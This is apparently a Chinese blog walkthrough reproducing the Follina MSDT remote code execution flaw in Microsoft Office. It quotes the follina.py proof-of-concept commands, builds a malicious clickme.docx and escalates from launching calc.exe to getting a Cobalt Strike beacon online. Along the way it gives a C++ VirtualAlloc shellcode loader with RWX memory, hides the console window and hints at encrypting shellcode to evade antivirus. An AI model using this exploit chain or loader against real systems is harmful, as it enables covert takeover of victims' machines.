前言
Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability对应的cve为CVE--30190,其能够在非管理员权限、禁用宏且在windows defender的情况下绕过防护,达到上线的效果。这里我们不对漏洞原理做过多的阐述(因为太菜),主要是进行漏洞的复现。
适用版本
在这里笔者只测试了如下版本能够适用,对于Office的 Insider 和 Current 和版本无法进行利用
Microsoft Office LTSC 专业增强版
Office
Office
环境搭建
这里笔者使用Office Tool Plus
进行office的安装(记得打一下广告费),官网如下
https://otp.landian.vip/zh-cn/
github链接如下
/YerongAI/Office-Tool/releases/tag/v8.3.10.7
这里我安装Microsoft Office LTSC 专业增强版
版本
笔者下载的版本为2108
漏洞复现
弹计算器
我们找到poc,链接如下
/chvancooten/follina.py
我们可以看到作者给出了以下几种用法
# Execute a local binarypython .\follina.py -m binary -b \windows\system32\calc.exe# Execute a binary from a file share (can be used to farm hashes 👀)python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe# Execute an arbitrary powershell commandpython .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.htmlpython .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4# Only run the webserver on localhost, on port 8080 instead of 80python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
这里我们首先使用最后一种,弹一下计算器,使用如下payload生成一下
python follina.py -m binary -b \windows\system32\calc.exe -H 0.0.0.0 -P 8080
然后这里直接点击clickme.docx
即可
效果如下,这里会弹出一个程序兼容性疑难解答,这里不用管
上线cs
我们首先尝试直接使用exe上线,首先cs生成一个不经过任何处理的马
这里使用之前的payload进行尝试,把文件放到windows\system32
下
python follina.py -m binary -b \windows\system32\artifact.exe -H 0.0.0.0 -P 8080
还是点击clickme.docx
,但是没有上线
但是这里没有上线,这里笔者进行问题的排查,换一个也在system32
下的mmc.exe
,这里是可以成功打开的
那么这个payload肯定是没有问题的,那么问题就出在我们上线cs的exe上,这里笔者尝试使用x86的payload、使用powershell加载都以失败告终,最后找到了解决方法,使用cs生成的shellcode自己通过VirtualAlloc
申请内存并编译即可上线
然后编写代码实现将shellcode加载到内存空间,这里就用最简单的VirtualAlloc
申请空间然后用指针指向申请的空间,这里shellcode加解密去绕AV师傅们可自行拓展,实现代码如下(shellcode填充到buf[]
数组即可)
#include <iostream>#include <windows.h>/* length: 833 bytes */unsigned char buf[] = "";void shellcode(){PVOID p = NULL;p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (p == NULL)printf("VirtualAlloc error : %d\n", GetLastError());elseprintf("VirtualAlloc successfully , address : %x\n", p);if (!memcpy(p, buf, sizeof(buf)))printf("Write shellcode failed\n");elseprintf("Write shellcode successfully\n");((void(*)())p)();}int main(int argc, char** argv){shellcode();getchar();return 0;}
编译生成MyVirtualAlloc.exe
然后使用exp进行攻击,这里笔者测试了使用远程加载还是不能上线
python follina.py -m binary -b F:\C++\MyVirtualAlloc\x64\Release\MyVirtualAlloc.exe -H 0.0.0.0 -P 8080
使用-c
命令直接启动exe上线成功
python follina.py -m command -c "Start-Process F:\C++\MyVirtualAlloc\x64\Release\MyVirtualAlloc.exe"
这里为了更加隐蔽直接去掉黑框
改变入口点为mainCRTStartup
点击clickme.docx
上线成功